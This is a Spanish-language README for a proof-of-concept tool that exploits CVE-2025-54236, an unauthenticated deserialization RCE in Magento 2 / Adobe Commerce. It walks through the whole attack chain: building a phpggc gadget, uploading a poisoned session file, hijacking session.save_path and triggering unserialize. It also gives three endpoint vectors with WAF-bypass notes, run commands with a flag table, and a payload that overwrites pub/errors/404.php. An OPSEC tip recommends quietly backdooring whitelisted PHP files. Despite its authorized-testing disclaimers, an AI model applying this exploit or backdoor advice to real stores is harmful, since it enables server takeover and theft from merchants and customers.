
PoC Magento Session Reaper - CVE-2025-54236
PoC unificado para CVE-2025-54236 ("SessionReaper"), un RCE crítico sin autenticación en Magento 2 / Adobe Commerce mediante deserialización anidada en la API REST.
ServiceInputProcessor;
la primitiva del exploit es la deserialización insegura (CWE-502)Solo para pruebas de seguridad autorizadas. Utilícelo exclusivamente contra sistemas que sean de su propiedad o para los que tenga permiso escrito explícito para probar.
La herramienta encadena tres etapas comunes a todos los vectores, además de un disparador:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php>
construye un objeto serializado que escribe payload.php en <remote_path> al ser
deserializado.POST /customer/address_file/upload almacena el blob
serializado como sess_<SESSID>. Magento distribuye los archivos de direcciones
subidos según los primeros caracteres del nombre de archivo, por lo que termina en
media/customer_address/s/e/sess_<SESSID> (de ahí el s/e/ en --save-path).Session\Config y,
mediante setSavePath() → setOption() → ini_set('session.save_path', ...) (un efecto
secundario global del proceso), apunta el manejador de sesiones de PHP al blob subido.Cookie: PHPSESSID=<SESSID> obliga a
session_start() a leer y unserialize() el archivo envenenado, activando el gadget
y escribiendo el payload.Los tres vectores llegan al mismo sink
(context → urlBuilder → session → sessionConfig → savePath). Solo se diferencian en el
endpoint, el verbo HTTP y el módulo de Magento implicado — útil cuando un WAF o un
módulo deshabilitado bloquea un endpoint pero no otro.
| Método | Endpoint | Verbo | Punto de entrada en la cadena |
|---|---|---|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
No se requiere ningún carrito real para ningún vector. ServiceInputProcessor
deserializa los parámetros del método durante la resolución de entrada — antes de que
el servicio invoque cualquier búsqueda de carrito — por lo que un cartId ficticio de
abc llega al sink en los tres. El consiguiente error de "carrito no encontrado"
(404/500) es esperado y confirma que el efecto secundario de la deserialización ya se ha
disparado.
Hay una bandera
--skudisponible si desea que la herramienta cree un carrito de invitado real y añada un producto antes de disparar (verificado vía GraphQL). Esto es opcional y no es necesario para la explotación; existe solo para entornos donde prefiera un flujo de compra totalmente realista. Omítala y la herramienta usará el carrito ficticioabc.
var/session/). Las sesiones
respaldadas por Redis y bases de datos no se ven afectadas por esta cadena RCE
específica. Esto no se puede enumerar de forma remota, por lo que debe intentarse a
ciegas./customer/address_file/upload accesible sin autenticación.requestsphpggc — se detecta automáticamente en
PATH, en ubicaciones de instalación habituales, o se descarga la imagen Docker
ambionics/phpggc como alternativapayload.php en el mismo directorio que el script (debe comenzar con <?php)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (original vector) — no cart, no credentials
python3 session_reaper.py --host https://target.com --method order
# checkmo — payments endpoint, Spanish store scope for the REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — shipping endpoint
python3 session_reaper.py --host https://target.com --method address --api-store all
# optional: exercise a real cart flow with a known SKU (not required)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
| Bandera | Por defecto | Descripción |
|---|---|---|
--host | (obligatorio) | URL base del objetivo |
--method | (obligatorio) | address | checkmo | order |
--store | default | Código de tienda para la petición de disparo (y el carrito, si se usa --sku) |
--api-store | default | Código de tienda en la URL del endpoint de deserialización (all | es | default | personalizado) |
--sku | (ninguno) | Opcional. Si se establece, crea un carrito de invitado real con este SKU. No es necesario. |
--payload-in | payload.php | Payload PHP a escribir en el objetivo |
--payload-out | /var/www/html/pub/errors/404.php | Ruta de escritura remota (debe ser una ubicación ejecutable por web — ver nota a continuación) |
--save-path | media/customer_address/s/e/ | savePath inyectado en la cadena del gadget |
--phpggc | (automático) | Ruta explícita al binario phpggc |
--proxy | http://127.0.0.1:8081 | Proxy HTTP (p. ej. Burp) |
--no-proxy | desactivado | Deshabilitar el proxy |
--username / --password | (ninguno) | Credenciales de cliente opcionales para un token Bearer |
La herramienta utiliza dos códigos de tienda independientes:
--api-store — el ámbito en la URL de la petición de deserialización
(/rest/<api-store>/V1/guest-carts/...), donde se ejecuta ServiceInputProcessor.--store — el ámbito para la petición de disparo (GET /<store>/) y, si se usa
--sku, para las peticiones del carrito.Los códigos de vista de tienda los define el administrador; no asuma es/fr.
Enumere primero las vistas de tienda activas — una petición contra un ámbito inexistente
simplemente falla.
pub/errors/404.phpLa configuración Nginx predeterminada de Magento solo pasa siete archivos PHP a
fastcgi_backend:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
Cualquier otro .php (incluido cualquier archivo que se deje en pub/media/) es
denegado y nunca se ejecutará. Por lo tanto, el payload debe sobrescribir uno de estos
siete archivos de la lista blanca en lugar de crear uno nuevo. pub/errors/404.php es
el predeterminado porque Magento lo renderiza internamente ante cualquier página
inexistente, por lo que se ejecuta con frecuencia en una tienda en producción.
OPSEC: sobrescribir
404.phppor completo es ruidoso (se ejecuta en cada 404). En una intervención real, inyecte una puerta trasera en un archivo de la lista blanca de forma sutil en lugar de sobrescribirlo.
--username/--password solo son
necesarios si desea un token Bearer para una configuración específica./tmp/sess_<SESSID> se elimina al salir.Proporcionado solo para investigación y pruebas de seguridad autorizadas. El autor no asume ninguna responsabilidad por el mal uso. No lo ejecute contra sistemas sin permiso explícito.